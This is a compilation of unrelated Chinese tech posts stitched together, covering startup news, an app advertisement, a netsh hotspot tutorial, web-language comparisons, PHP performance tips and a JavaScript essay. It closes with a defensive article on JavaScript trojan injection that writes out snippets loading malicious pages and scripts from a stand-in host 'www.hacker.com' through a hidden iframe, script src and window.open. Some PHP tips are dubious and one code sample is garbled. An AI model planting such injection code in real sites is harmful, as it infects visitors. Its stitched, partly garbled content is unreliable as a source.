近日Keep方面确认已获得来自腾讯的C+轮战略投资。Keep上线于2015年2月,自2月份上线至今已完成四轮融资,创始人是王宁。4月初,移动健身平台Keep更新了新版本3.0,目前用户量已突破5000万,月活用户近2000万。
说到产品,Keep是一款内容教学加社交模式的移动健身平台,4月初,移动健身平台Keep更新了新版本3.0,其中加入了跑步和电商两大功能,正式做起电商,由健身工具向运动平台转型。
其实目前市面上有很多运动健身类APP,但是每款产品都有其独特的发展方向,如:Keep、FitTime是以视频教学为代表切入到健身行业中;乐动力以个人健康数据切入;咕咚、悦跑圈以跑步社交为代表;全城热炼是属于O2O健身服务类。
而目前知识问答市场也有分答、知乎、智应、问啊等平台,秋色平分,而智应算是其中较为小众的一类:
相较其他平台,智应的不同之处在于,它是一个专注于IT技术问答的平台,它符合程序员的需求,可以为程序员提供实时一对一精确的高效问答服务。提供解答的专业用户是经过智应平台的筛选的,这些用户基本上都是具有丰富开发经验的,这为提问者提供了强有力的支持,同时,智应不打造网红平台,回答问题的专业用户一方面可以通过帮助别人解答问题赚取金币,另一方面他自身的知识又会得到提升,为答题者提供了另一个知识,经验,见解变现的渠道。不知道是否有公司会青睐智应,投上一笔呢?而对于用户来说,各花入各眼,选择一款适合于你的才是最重要的。可以关注:zhiyingme
最近看到一篇微信推送,写的很赞。 首先来看一张图
这是最近很红的AR游戏《Pokémon GO》图中的宠物皮卡丘凌驾在玩家脖子上说:“并不是你在收服我们,而是我们在收服你”
这揭示了现代人的一种通病:被社交工具SM了。
大家在网上上传自己的生活记录,期望别人在社交圈看到自己,每天都乐此不疲的玩手机。手机成为连接世界的城门
如果没开机就等于失联了
吃饭的时候先对着食物拍拍拍,
上传到社交圈
都在默默等人点赞
吃饭变得沉默不语
这一幕无力吐槽了
所以你中枪了吗?
网上的热点或鸡汤文
虽然我们会视如粪土
但好像不跟着一起看
就像被落下什么一样
既然被SM了,你得到些什么?
为什么不利于它好好赚钱?
作为一枚程序猿
拥有这丰富的知识
为什么不把知识变现?
在传播知识的同时
又能得到相应的报酬
最重要是
它不会SM你
智应APP
一个专注IT技术知识问答的平台
沟通方式多样
高效解答
知识变现
现在下载
还有惊喜!
Netsh命令如何虚拟WIFI无线热点全教程
Netsh命令是操作系统自身提供的命令行脚本实用工具,它允许用户在本地或远程显示或修改当前正在运行的计算机的网络配置。为了存档、备份或配置其他服务器,Netsh也可以将配置脚本保存在文本文件中。在Windows 2000操作系统或以上版本的系统中,你可以利用内置的网络配置命令——Netsh,来在DOS环境下修改各种网络配置参数。
此后,微软不断对它进行改进,为它增加了一些新的命令集。例如,在Vista和Server 2008中增加了一套WLAN命令,以提供对802.11无线连接和安全设置的管理功能。现在,Win7和Server 2008 R2中又增加了另外的WLAN命令。Netsh命令不仅让你配置本地计算机,而且可以使你运用登录脚本配置多台计算机。
至于"netsh命令"如何使用,这里我就不一一介绍,.今天就只介绍如何用"netsh命令"虚拟WIFI热点,下面就图文并茂详细介绍各命令的调试:
一、首先以要用管理员身份调出"命令提示符"开始-所有程序-附件-右键点击"命令提示符"选用"以管理员身份运行
(1)打开"命令提示符"(有些小白或许还不明白,如果是管理员身份打开的"命令提示符"左上角会显示(管理员:命令提示符))直接输入下面的命令项:netsh wlan set hostednetwork mode=allow如上图
(2)"命令提示符"输入:netsh wlan set hostednetwork ssid=您想要的无线网络的名称 key=您想要设置的密码.记住key前有个空格
例如配置是:netsh wlan set hostednetwork ssid=jk key=12345678密码长度必须为8位或以上,如上图
(3)右点击桌面右下角的"网络"打开网络共享中心–>更改适配器设置,你会发现多了一个Microsoft Virtual wlan Miniport Adapter,这个就是我们刚才虚拟出来的无线网络适配器(图下).关闭此窗口,再打开(同样的方法)右击你的本地连接,也就是你连入网络的有线网卡.选择属性,点击共享,勾选“允许其他网络用户通过此计算机的Internet连接还连接”选项,在下拉菜单中选择刚才建立的虚拟网网络.确定。
(4)在命令提示符中继续输入:netsh wlan start hostednetwork 这一步是开启刚才虚拟的无线网络,这样你的Wifi手机就可以链接到你刚才建的虚拟Wifi网络了但麻烦也就麻烦在这儿,每次你开机要想使用虚拟WIFI热点都要输入这步的命令.
手机下载实图
到此为止这样一台虚拟的WIFI热点就做成了,只要是你的手机,还是第二台具有WIFI网的电脑都可以接入这个虚拟的WIFI热点。
最后要注意的是,并非所有的网卡都是支持软AP功能的,支持与否得要网卡驱动是否经微软微标认证,品牌机的话99%都可以,在命令提示符中输入:Netsh wlan show drivers
支持的承载网络 : 否 (不支持)不支持软AP(请更新网卡驱动,或用老驱动,一定要是经过微软微标认证的才行)
支持的承载网络 : 是 (支持)支持软AP
目前成功连接上了后但无法上网,有几种可能性,
A)电信最新款的猫(自己百度查下型号看是否带有限制路由功能.内部会限制接入IP/MAC地址台数)
B)网卡类型
C)无线网卡驱动,如果没有经过微软微标认证的话是开启动不了虚拟AP的,解决这个方案的办法很多,网上也很多,升级和用老驱动,万能驱动....
如果出现下面这种无法连接的,请看解决方案
报的是IP错误:你可以使用下面的方法共享Internet连接。
前提:有多台笔记本、其中有一个电脑可是实现Internet连接、当然台机是电脑也可以、前提是你给该电脑买一个外接无线网卡、
过程:
1、在可以实现连接的电脑、先将本地连接、和无限网络连接的共享设置先关掉、没用就不用、
具体实现:(以WIN7系统为例)点击网络--网络和共享中心--更改适配器设置--本地电脑--右键属性--在最上面会看到网络和共享--点击共享--将允许其他网络用户连接此计算机的.....钩去掉 --点击确定、
无线网络连接同上、
2、再次打开网络和共享中心、创建一个计算机对计算机的无限网络
具体实现:点击设置新的连接和网络--选择最下面的计算机对计算机的临时网络--下一步--在设置网络名的时候、下面的加密方式悬着WEP--输入一个5位数密码--进如下一个页面--下面会看到一个推荐设置--点击上面的那个共享internet连接--确定、
3、现在该设置其他的计算机了、
具体实现:点击右下角的无限网络连接--就会找到你刚刚建好的无限网络、点连接--输入密码连接成功--
实现以上过程、恭喜你就可以上网了
目前,长沙网站建设中最常用的三种动态网页语言有ASP(Active Server Pages),JSP(JavaServer Pages),PHP (Hypertext Preprocessor)。
简 介 :
ASP全名Active Server Pages,是一个WEB服务器端的开发环境,利用它可以产生和执行动态的、互动的、高性能的WEB服务应用程序。ASP采用脚本语言VBScript(Java script)作为自己的开发语言。
PHP是一种跨平台的服务器端的嵌入式脚本语言。它大量地借用C,Java和Perl语言的语法, 并耦合PHP自己的特性,使WEB开发者能够快速地写出动态产生页面。它支持目前绝大多数数据库。还有一点,PHP是完全免费的,不用花钱,你可以从PHP官方站点(http: //www.php.net)自由下载。而且你可以不受限制地获得源码,甚至可以从中加进你自己需要的特色。
JSP是Sun公司推出的新一代网站开发语言,Sun公司借助自己在Java上的不凡造诣,将Java从Java应用程序和Java Applet之外,又有新的硕果,就是JSP,Java Server Page。JSP可以在Serverlet和JavaBean的支持下,完成功能强大的站点程序。
技术特点:
ASP:
1. 使用VBScript 、 JScript等简单易懂的脚本语言,结合HTML代码,即可快速地完成网站的应用程序。
2. 无须compile编译,容易编写,可在服务器端直接执行。
3. 使用普通的文本编辑器,如Windows的记事本,即可进行编辑设计。
4. 与浏览器无关(Browser Independence), 客户端只要使用可执行HTML码的浏览器,即可浏览Active Server Pages所设计的网页内容。Active ServerPages 所使用的脚本语言(VBScript 、 Jscript)均在WEB服务器端执行,客户端的浏览器不需要能够执行这些脚本语言。
PHP:
1•数据库连接
PHP可以编译成具有与许多数据库相连接的函数。PHP与MySQL是现在绝佳的群组合。你还可以自己编写外围的函数去间接存取数据库。通过这样的途径当你更换使用的数据库时,可以轻松地修改编码以适应这样的变化。PHPLIB就是最常用的可以提供一般事务需要的一系列基库。但PHP提供的数据库接口支持彼此不统一,比如对Oracle, MySQL,Sybase的接口,彼此都不一样。这也是PHP的一个弱点。
JSP:
1•将内容的产生和显示进行分离
使用JSP技术,Web页面开发人员可以使用HTML或者XML标识来设计和格式化最终页面。使用JSP标识或者小脚本来产生页面上的动态内容。产生内容的逻辑被封装在标识和JavaBeans群组件中,并且捆绑在小脚本中,所有的脚本在服务器端执行。如果核心逻辑被封装在标识和Beans中,那么其它人,如Web管理人员和页面设计者,能够编辑和使用JSP页面,而不影响内容的产生。在服务器端,JSP引擎解释JSP标识,产生所请求的内容(例如,通过存取JavaBeans群组件,使用JDBC技术存取数据库),并且将结果以HTML(或者XML)页面的形式发送回浏览器。这有助于作者保护自己的代码,而又保证任何基于HTML的Web浏览器的完全可用性。
应用范围
ASP是Microsoft开发的动态网页语言,也继承了微软产品的一贯传统,只能执行于微软的服务器产品,IIS(Internet Information Server) (windows NT)和PWS(Personal Web Server)(windows 98)上。Unix下也有ChiliSoft的组件来支持ASP,但是ASP本身的功能有限,必须通过ASP+COM的群组合来扩充,Unix下的COM实现起来非常困难。
PHP3可在Windows,Unix,Linux的Web服务器上正常执行,还支持IIS,Apache等一般的Web服务器,用户更换平台时,无需变换PHP3代码,可即拿即用。
JSP同PHP3类似,几乎可以执行于所有平台。如Win NT,Linux,Unix。在NT下IIS通过一个外加服务器,例如JRUN或者ServletExec,就能支持JSP。知名的Web服务器Apache已经能够支持JSP。由于Apache广泛应用在NT、Unix和Linux上,因此JSP有更广泛的执行平台。虽然现在NT操作系统占了很大的市场份额,但是在服务器方面Unix的优势仍然很大,而新崛起的Linux更是来势不小。从一个平台移植到另外一个平台,JSP和JavaBean甚至不用重新编译,因为Java字节码都是标准的与平台无关的。
本帖最后由 wis 于 2013-2-11 13:50 编辑
之前从网上看到的一篇文章,觉得对PHP编程挺有用的。但文章中一些要求貌似一开始还是很难适应的,就转过来分享下交流下呗~
我的技术博客:http://wislab.net/ 欢迎交流
0、用单引号代替双引号来包含字符串,这样做会更快一些。因为PHP会在双引号包围的字符串中搜寻变量,单引号则不会,注意:只有echo能这么做,它是一种可以把多个字符串当作参数的“函数”(译注:PHP手册中说echo是语言结构,不是真正的函数,故把函数加上了双引号)。
1、如果能将类的方法定义成static,就尽量定义成static,它的速度会提升将近4倍。
2、$row[’id’] 的速度是$row[id]的7倍。
3、echo 比 print 快,并且使用echo的多重参数(译注:指用逗号而不是句点)代替字符串连接,比如echo $str1,$str2。
4、在执行for循环之前确定最大循环数,不要每循环一次都计算最大值,最好运用foreach代替。
5、注销那些不用的变量尤其是大数组,以便释放内存。
6、尽量避免使用__get,__set,__autoload。
7、require_once()代价昂贵。
8、include文件时尽量使用绝对路径,因为它避免了PHP去include_path里查找文件的速度,解析操作系统路径所需的时间会更少。
9、如果你想知道脚本开始执行(译注:即服务器端收到客户端请求)的时刻,使用$_SERVER['REQUEST_TIME']要好于time()。
10、函数代替正则表达式完成相同功能。
11、str_replace函数比preg_replace函数快,但strtr函数的效率是str_replace函数的4倍。
12、如果一个字符串替换函数,可接受数组或字符作为参数,并且参数长度不太长,那么可以考虑额外写一段替换代码,使得每次传递参数是一个字符,而不是只写一行代码接受数组作为查询和替换的参数。
13、使用选择分支语句(译注:即switch case)好于使用多个if,else if语句。
14、用@屏蔽错误消息的做法非常低效,极其低效。
15、打开apache的mod_deflate模块,可以提高网页的浏览速度。
16、数据库连接当使用完毕时应关掉,不要用长连接。
17、错误消息代价昂贵。
18、在方法中递增局部变量,速度是最快的。几乎与在函数中调用局部变量的速度相当。
19、递增一个全局变量要比递增一个局部变量慢20%。
20、递增一个对象属性(如:$this->prop++)要比递增一个局部变量慢30%。
21、递增一个未预定义的局部变量要比递增一个预定义的局部变量慢90%至100%。
22、仅定义一个局部变量而没在函数中调用它,同样会减慢速度(其程度相当于递增一个局部变量)。PHP大概会检查看是否存在全局变量。
23、方法调用看来与类中定义的方法的数量无关,因为我(在测试方法之前和之后都)添加了10个方法,但性能上没有变化。
24、派生类中的方法运行起来要快于在基类中定义的同样的方法。
25、调用带有一个参数的空函数,其花费的时间相当于执行7至8次的局部变量递增操作。类似的方法调用所花费的时间接近于15次的局部变量递增操作。
26、Apache解析一个PHP脚本的时间要比解析一个静态HTML页面慢20%至100%。尽量多用静态HTML页面,少用脚本。
27、除非脚本可以缓存,否则每次调用时都会重新编译一次。引入一套PHP缓存机制通常可以提升25%至100%的性能,以免除编译开销。
28、尽量做缓存,可使用memcached。memcached是一款高性能的内存对象缓存系统,可用来加速动态Web应用程序,减轻数据库负载。对运算码 (OP code)的缓存很有用,使得脚本不必为每个请求做重新编译。
29、当操作字符串并需要检验其长度是否满足某种要求时,你想当然地会使用strlen()函数。此函数执行起来相当快,因为它不做任何计算,只返回在zval 结构(C的内置数据结构,用于存储PHP变量)中存储的已知字符串长度。但是,由于strlen()是函数,多多少少会有些慢,因为函数调用会经过诸多步骤,如字母小写化(译注:指函数名小写化,PHP不区分函数名大小写)、哈希查找,会跟随被调用的函数一起执行。在某些情况下,你可以使用isset() 技巧加速执行你的代码。
(举例如下)
[mw_shl_code=php,true]if (strlen($foo) < 5) { echo “Foo is too short”$$ }[/mw_shl_code]
(与下面的技巧做比较)
[mw_shl_code=php,true]if (!isset($foo{5})) { echo “Foo is too short”$$ }[/mw_shl_code]
调用isset()恰巧比strlen()快,因为与后者不同的是,isset()作为一种语言结构,意味着它的执行不需要函数查找和字母小写化。也就是说,实际上在检验字符串长度的顶层代码中你没有花太多开销。
34、当执行变量$i的递增或递减时,$i++会比++$i慢一些。这种差异是PHP特有的,并不适用于其他语言,所以请不要修改你的C或Java代码并指望它们能立即变快,没用的。++$i更快是因为它只需要3条指令(opcodes),$i++则需要4条指令。后置递增实际上会产生一个临时变量,这个临时变量随后被递增。而前置递增直接在原值上递增。这是最优化处理的一种,正如Zend的PHP优化器所作的那样。牢记这个优化处理不失为一个好主意,因为并不是所有的指令优化器都会做同样的优化处理,并且存在大量没有装配指令优化器的互联网服务提供商(ISPs)和服务器。
35、并不是事必面向对象(OOP),面向对象往往开销很大,每个方法和对象调用都会消耗很多内存。
36、并非要用类实现所有的数据结构,数组也很有用。
37、不要把方法细分得过多,仔细想想你真正打算重用的是哪些代码?
38、当你需要时,你总能把代码分解成方法。
39、尽量采用大量的PHP内置函数。
40、如果在代码中存在大量耗时的函数,你可以考虑用C扩展的方式实现它们。
41、评估检验(profile)你的代码。检验器会告诉你,代码的哪些部分消耗了多少时间。Xdebug调试器包含了检验程序,评估检验总体上可以显示出代码的瓶颈。
42、mod_zip可作为Apache模块,用来即时压缩你的数据,并可让数据传输量降低80%。
43、在可以用file_get_contents替代file、fopen、feof、fgets等系列方法的情况下,尽量用file_get_contents,因为他的效率高得多!但是要注意file_get_contents在打开一个URL文件时候的PHP版本问题;
44、尽量的少进行文件操作,虽然PHP的文件操作效率也不低的;
45、优化Select SQL语句,在可能的情况下尽量少的进行Insert、Update操作(在update上,我被恶批过);
46、尽可能的使用PHP内部函数(但是我却为了找个PHP里面不存在的函数,浪费了本可以写出一个自定义函数的时间,经验问题啊!);
47、循环内部不要声明变量,尤其是大变量:对象(这好像不只是PHP里面要注意的问题吧?);
48、多维数组尽量不要循环嵌套赋值;
49、在可以用PHP内部字符串操作函数的情况下,不要用正则表达式;
50、foreach效率更高,尽量用foreach代替while和for循环;
51、用单引号替代双引号引用字符串;
52、“用i+=1代替i=i+1。符合c/c++的习惯,效率还高”;
53、对global变量,应该用完就unset()掉;
本帖最后由 遥不可及 于 2012-11-21 09:02 编辑
1.很早之前的计算机网络
话说自从有了计算机,我们伟大的科学家叔叔就开始将计算机与数据通讯相结合了。好像是1951年吧(记得不是太清楚了(*^__^*) 嘻嘻……)美国麻省理工学院林肯实验室就开始为美国空军设计了一个名为SAGE的半自动化地面防空系统,于1963年建设完成,被认为是计算机和通讯技术的先驱。可以说是最早的计算机网络了。
2.现代互联网的发展
上世纪60年代中期就出现了大型主机。现代意义上的互联网是从1969年美国国防部高级研究计划局(话说这个名字很唬人噻。。。)建成的ARPAnet试验网开始的。当时还是以电话线作为主要通讯线路,有4个节点(关于节点以后会继续讲的。。。),两年之后建成了15个节点,之后ARPAnet的规模不断扩大,到了上世纪70年代后期的时候,节点已经超过了60个,主机100多台,范围已经跨越了美洲大陆,连接了东、西部很多大学和研究机构,而且通过卫星与夏威夷和欧洲地区的计算机进行通信。
在这里说一下ARPEnet。
它的主要特点有五个:
(1)资源共享;
(2)分散控制;
(3)分组交换;
(4)采用专用的主机服务器;
(5)分层的网络协议。
这些特点被认为是现代计算机的一般特点。
上世纪70年代中后期的时候是广域网的大发展时期。主要用于计算机之间的数据传输和信息共享为主,线路大多是租用的电话线路,很少铺设专用线路,传输速率在50Kb/s,其实这样的网速在当时已经很快了,这是第二代网络,以远程大规模通信为主要特点。
3.计算机网络的标准化
经过上世纪六七十年代的前期的发展,人们对组网的技术、方法和理论的研究也日趋成熟,为了促进网络的发展,各大计算机公司开始制定自己的网络技术标准。
IBM首先于1974年退出了自己的系统网络体系结构,(System Network Architecture. 简称SNA),为用户提供能够相互连通的成套通讯产品。
1977年,国际标准化组织(ISO)的TC97信息处理系统技术委员会 SC16分技术委员会开始着手制定开放式系统互联参考模型OSI/RM.作为国际标准。规定了可以互联的计算机系统之间的通信协议。
很长时间以来,JavaScript在我眼里都是编程语言中的二等公民。早先,它经常是很多安全问题的发源地,就像是胶水一样,它能把HTML应用与样式粘到一块,可没有人拿它来正正规规地写程序;这样的情形太普遍了。而Java、Ruby、Python,这些才是真正能用来写程序的语言。
过去几年间,我对JavaScript的态度有了彻底的改变。JavaScript已经“长大成人”了。我敢保证很多JavaScript开发人员都不会认同我前面的说法,他们会说JavaScript一直都是一个十分强大、成熟、深得人心的语言。或许他们说得没错,事实上只要是一门完整的编程语言,就能拿来写程序,也包括BASIC这种滥东西。而一门语言真正有用,必须一方面自身具备很强的表达能力,另一方面还要有众多的库和开发工具。显然,JavaScript的表达能力早就没有问题了,即便是创建对象的方式有点不好让人接受,其实问题也不大。直到最近,一些极其重要的扭转局面的技术出现了:jQuery、JSON、Node.js和HTML5。或许JavaScript以前就是一门完善的语言了,但却是这些重要的相关技术(以及其他一些没有在这里提及的),让JavaScript成为了每一个开发人员都知道的语言。如果明年你要学一门新语言的话,那一定就是JavaScript。
潜力无限的Node.js说Node.js潜力无限的意思,就是它有可能引发Web开发的革命。Node.js是一个框架,用于构建高性能Web应用——即使是巨量的请求也能应对如流。虽然Node本身作为一个底层框架,能够用于构建任何应用,但它还是最适合构建Web服务器。它的异步事件驱动模式与传统的请求-响应模式相比,无疑更适合Web应用。
有两方面因素更让人看好Node。首先,Google在提升JavaScript性能方面掀起了一场革命。这句话的意思并不是说你随时随地都可以用上最好的JavaScript引擎(尽管这也是我们一个美好的期望)。但可以肯定的是,Google在其他竞争对手还没有上心的情况下,真的把JavaScript性能当成了一回事儿。如此一来,就把Mozilla、Apple、Microsoft、Opera,还有其他浏览器开发商逼到了性能竞赛的跑道上。结果导致我们现在使用的JavaScript引擎较之几年前快了不知道有多少倍,完全有能力运行复杂的大型Web应用。
其次,Node有着庞大的开发人员基础。不管大家在服务器端使用的是什么语言,但在客户端却鲜有不使用JavaScript的。有的人可能是“剪刀加浆糊”式的东拼西凑,有的人则可能用JavaScript做出了高超的Ajax应用,而有的人甚至实现了全功能的应用程序,像Twitter或Gmail。可不管怎么说,JavaScript开发人员的数量无疑是非常庞大的。而Doug Crockford等作者更是极力宣传所有人都应该把JavaScript当成一门严肃正经的编程语言来看待——尽管它还有不少缺点。
当时当下,编写Node应用相对还是个“粗”活儿,毕竟它只是一个底层库。想象一下单纯使用JavaScript写代码,对,就是这种感觉,Node当前还是一个beta版的格局,与Rails或Django这样成熟的Web开发框架还没法比。这种状况无疑会改变。一些轻量级的框架,比如Express,已经出现了;我坚信更多基于Node的全功能框架将继续不断涌现。
前面提到过一些几乎完全在浏览器中运行的高级Web应用。那些都已经不算什么新鲜事儿了,Gmail多大了?Google Maps贵庚了?不过,用JavaScript编写在浏览器中运行的应用的客户端无疑是越来越有吸引力了。HTML5则继续推高了人们对这一趋势的期许。
HTML5就是JavaScript我不知道已经说过多少次了,HTML5实际上并没有多少与HTML有关,它其实就是JavaScript。HTML本身有什么变化?不过一些新标签而已,况且哪个新标签都不难理解。HTML5的威力在于让你能用JavaScript来创建这些标签。假如没有后台代码通过Canvas来创建动画、游戏,或者通过它来实现一些数据的可视化,这个标签也没有大用处。从浏览器开始支持Canvas开始,我已经看到了Asteroids(行星游戏)的上百个实现,那都是开发人员为熟悉这个新特性所做的练习。有的比较粗糙一些,而有的则极其精美。这些完全都要归功于JavaScript。
由此可见,HTML5并不是以尖括号为特征的标签语言的一次大的改进,其实质是赋予了JavaScript更强大的能力。WebGL库(当前还羽翼未丰)支持在HTML5的画布中绘制实时的3D图形。HTML5的地理位置支持在浏览器中实现LBS(Location Based Service)应用——这都是手机的基本配置。而持久存储以及离线功能则为开发能与桌面应用媲美,但却在浏览器中运行的全功能应用奠定了基础。目前,就连增加多点触摸事件的实验性的库也已经出现了。凡此种种,无一不是实实在在的JavaScript特性。HTML5只是为这些高级功能的发挥提供了舞台。
退一步讲,不依赖于HTML5的浏览器端开发库也取得了长足的进步。长久以来,JavaScript一直都是在HTML中实现动态效果的不二之选。可两个问题迟迟得不到解决:一是浏览器兼容性问题,二是直接操作DOM太麻烦。jQuery让这两个问题霎那间消失得无影无踪,这个库已经成为现代基于浏览器的客户端开发的基本配置。不过,并非只有jQuery。Protovis、还有D3,都可以让你直接在浏览器中创建复杂的交互性数据可视化效果,有史以来第一次让浏览器成为了展示数据的一个重要媒介。
JavaScript与数据库,编译器与语言就连数据库里都开始广泛使用JavaScript了!当前如火如荼的NoSQL运动的三只领头羊:CouchDB、MongoDB和Riak,都是“文档数据库”。它们保存的不是表,而是文档。这几个数据库所谓的“文档”,其实就是JSON文档,而不是Word或Excel。(Riak除了JSON文档,还支持XML和纯文本。)JSON已经成为一种被广泛采用的数据交换格式(所有现代的编程语言几乎全都有解析JSON的库),不过请注意,JSON实际上不就是一种序列化JavaScript对象的格式嘛!因此,虽然你可以在任何语言中使用JSON,但在JavaScript开发中使用它则是再自然不过的事了。况且,JSON 这个格式成为一种跨语言的标准,而不是Python、Ruby或Java等语言的序列化格式,这个事实本身足以说明JavaScript将在更加广阔的舞台上大显身手。还不仅仅如此,上述三个数据库都内置了支持JavaScript查询的能力。未来几年,更多的人都将会惊讶地发现,JavaScript和JSON还会内置到其他应用程序中!
JavaScript时代的大幕才刚刚拉开。在今年的JSConf上,一个核心主题就是“JavaScript到JavaScript的编译器”,也被人们看成是未来的一个主要趋势。Google在“编译生成JavaScript代码”方面是首开先河者。据我所知,GWT(Google Web Toolkit)应该是通过编译(从Java代码)生成JavaScript代码的第一个框架。以前我对GWT并没有太重视,只是觉得它是一个致力于拯救那些Java程序员的框架,好让他们不必因为(学习)编写JavaScript而浪费时间。可是,GWT在编译过程中对JavaScript做了那么多的优化,简直是太神了。Closure就是一个“JavaScript到JavaScript的编译器”,能够实现同样级别的优化。Traceur,这是几个星期前才冒出来的一个框架,通过它能够试验JavaScript的新特性,换句话说,它可以把带有实验性语言特性的JavaScript代码编译成可以在所有现代平台中运行的JavaScript代码。
最后,我们也开始看到了当初Java大旗下JVM语言的蓬勃景象:很多语言都在致力于编译成JavaScript!其中有一些语言比较有意思,像Coffeescript和Kaffeine,它们在风格上酷似JavaScript,但更关注弥补JavaScript的一些不够完善的地方。是不是觉得JavaScript的对象模型特有意思,可怎么看怎么有点笨笨滴,有木有?是不是一想到基于原型创建一个实际的对象都需要反反复复地定义这定义那,就望而却步了,有木有?Coffeescript对此作了明显的改进。除了完善对象模型,Coffeescript 还添加了类似列表解析(list comprehensions)的新特性,去掉了大部分花括号。就像在Python中一样,要使用缩进来区分代码块。
未来的Web服务器、取之不尽的客户端库、HTML5、数据库,乃至基于JavaScript的语言——我现在一睁眼看到的就是JavaScript!假如你曾经对JavaScript敬而远之,今年可是该学习它了。没有任何理由,真的,再不学,恐怕你就没机会跟上时代了!原文地址:http://radar.oreilly.com/2011/06/time-to-learn-javascript.html 作者简介:Mike Loukides 李松峰(译)
该贴已经同步到 血のばら的微博
天涯明月稻 发表于 2012-11-14 20:53嗯,JavaScript确实很强大滴,有位仁兄用JavaScript写了很多有趣的东西,把JS的强大直观地表现了出来,有兴 ...
英语渣渣,不过努力的去看了#8x
[查看全文]
这篇是2010年的文章了
IFRAME挂马方式比较早,相应的预防措施也比较多,其中用CSS配合JS脚本进行预防是主流方式。可这种预防方式也存在安全隐患,JS脚本也可以被用来挂马,令人防不胜防。我们下面要介绍反击JS挂马的方法。
文章要点:了解JS挂马方式
文章难度:★★
学习进程:√ IFRAME挂马
√ JS挂马
CSS挂马
……
HNC网络联盟刘思杨:安全工程师,曾经负责过许多单位的网络安全
许多人认为,只要自己的服务器安全做得足够好,建站程序补丁打得勤快,就能够抵御住所有黑客的攻击。这样做的人肯定是非常多的,可为什么还是有许多网站被黑呢?
一个很重要的原因,就是他们过于相信从第三方网站中下载的整站程序,或者修改版的论坛程序等,而这些程序有些已经被黑客做过手脚,已经植入了后门,此时如果网站站长不熟悉如何查补漏洞,将无异于引狼入室。
比较典型的一个例子是,曾经非常出名的《易想多用户商城 v2.1》(仿淘宝版),被许多黑客窜改过,多个关键页面被植入了后门,然后到处提供下载,导致了许多使用该程序的网站被攻击。因此在隐蔽手段挂马横行的今天,熟悉并掌握隐蔽的挂马方式,是一个安全工程师必备的技能。
JS挂马溯源
古人云:人算不如天算,天算不如暗算(小编:哪个古人这样云过?)。当IFRAME逐渐被黑客滥用的时候,有经验的安全工程师也开始研究相应的对策,一段时间内各种阻止IFRAME挂马的方法不断涌现,其中通用性较高的就是利用CSS配合JS脚本防御IFRAME挂马。
而黑客也发现,很多网站都会让网页调用JS脚本来实现广告等诸多特效,如果将木马挂在JS脚本中,所有调用该JS脚本的网页都等同于被挂上了木马,对于需要肉鸡群的黑客而言是一劳永逸,因此JS脚本挂马逐渐开始被黑客应用。
小百科:JS脚本是JavaScript脚本语言的简称,它是一种面向对象的脚本语言,目前广泛用于动态网页的编程。需要提示大家的是,JavaScript和Java除了语法上有一些相似之处,以及都能够当作网页的编程语言以外,两者是完全不相干的。而JavaScript与Jscript也不同,Jscript是微软为了迎战JavaScript推出的脚本语言。
虽然JavaScript作为给非程序人员的脚本语言向大众推广,但是JavaScript是一门具有丰富特性的语言,它有着和其他编程语言一样的复杂性。实际上,你必须对JS有扎实的理解才能用它来编写比较复杂的程序,作为一名安全工程师,掌握JS脚本在工作中会有很大的帮助。
挂马原理一点通
JS脚本挂马对于黑客而言,可以说优点多得数不过来,首先JS脚本在挂马时可以直接将JS代码写在网页中,也可以通过注入网页,让网站远程调取异地JS脚本。此外,JS挂马插入Web页面的方法有几十种,绝对够菜鸟们眼花缭乱,无从辨别木马在何处。
IFRAME挂马相对于安全工程师而言,如同一个穿着鲜红颜色外衣的劫匪,招摇而扎眼,很容易被发现。但是利用JS挂马就意味着这个劫匪拥有了一张可以随时变换的面孔,而且它还能够随时更换衣服。这样的劫匪在安全工程师搜查时,很容易蒙混过关,导致木马久杀不绝。
JS挂马攻防实录
攻现在最多见的JS挂马方法有两种,一种是直接将JavaScript脚本代码写在网页中,当访问者在浏览网页时,恶意的挂马脚本就会通过用户的浏览器悄悄地打开网马窗口,隐藏地运行(图1),这种方法使用的关键代码如下:
window.open("http://www.hacker.com/木.html","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");
这种代码往往很长,很容易被安全工程师发现,而且没有经验的黑客也喜欢将“width”和“height=”参数设为“0”,但是设置为0后,可能会出现恶意代码不运行的情况。
另外一种JS挂马方式是,黑客先将挂马脚本代码“document.write('')”,写入Windows中的写字板另存为后缀为.js的脚本文件,并上传到自己指定的网址。这时黑客只需要在受害者的网站中写入:
<script src="http://www.hacker.com/木马脚本.js"></script>
或者
document.write("<div style='display:none'>")
document.write("<iframe src="网页木马地址" width="0" height="0" scrolling="no" frameborder="0"></iframe>")
document.write("</div>")
就成功地将木马挂到了对方的网页中了。
小提示:黑客还可以根据情况随机变换插入的JS挂马方法,例如黑客有可能会将脚本写为:<div style="behaviour: url(http://www.hacker.com/木马脚本.js);">或者<if rame src="vbscript:[挂马脚本]">等。
防第一种JS挂马方式,不方便,用得非常少,而第二种JS挂马方式才是当前主流的,所以我们主要针对它进行防御。方法就是阻止Src请求的异地外域的JS脚本,代码如下:
iframe{mdy1:expression(this.src='about:blank',this.outerHTML='');}
script{mzm2:expression((this.src.toLowerCase().indexOf('http')==0)?document.write('木马被成功隔离!'):'');}
不过这种方法的缺点就是网站的访问者将不能看到被挂了JS木马的相关网页(图2)。
所以我们为安全工程师提供了一段可以中止JS脚本运行的CSS代码,这段代码会让异地外域的JS文件在使用document.write()时,被document.close()强制关闭。这个时侯JS挂马的内容往往还没有来得及写完,只有部分被强制输出了,Writer后面的内容再不会被写入访问者的电脑中,从而起到防范JS脚本挂马的作用。
<title>让JS挂马中止的CSS代码</title>
<style type="text/css" id="shudoo">
/*<![CDATA[*/
if rame{mdy1:expression(this.src='about:blank',this.outerHTML='');}
script{mzm2:expression((this.src.indexOf('http')==0)?document.close():'');}
/*]]>*/我们虽然能够巧妙地利用CSS代码防范IFRAME和JS脚本挂马,但是为什么网页挂马还是层出不穷?这恐怕就要说一说CSS挂马了……